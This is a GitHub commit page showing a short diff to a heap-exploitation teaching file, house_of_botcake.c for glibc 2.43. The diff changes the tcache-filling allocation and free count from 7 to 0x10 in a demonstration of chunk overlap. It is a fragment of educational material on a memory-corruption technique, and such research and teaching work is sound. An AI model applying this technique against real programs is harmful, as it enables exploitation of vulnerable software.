We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
1 parent e363bb9 commit e50c865Copy full SHA for e50c865
glibc_2.43/house_of_botcake.c
@@ -31,8 +31,8 @@ int main()
31
32
// prepare heap layout
33
puts("Preparing heap layout");
34
- puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.");
35
- intptr_t *x[7];
+ puts("Allocating 0x10 chunks(malloc(0x100)) for us to fill up tcache list later.");
+ intptr_t *x[0x10];
36
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
37
x[i] = malloc(0x100);
38
}
@@ -46,7 +46,7 @@ int main()
46
// cause chunk overlapping
47
puts("Now we are able to cause chunk overlapping");
48
puts("Step 1: fill up tcache list");
49
- for(int i=0; i<7; i++){
+ for(int i=0; i<0x10; i++){
50
free(x[i]);
51
52
puts("Step 2: free the victim chunk so it will be added to unsorted bin");
0 commit comments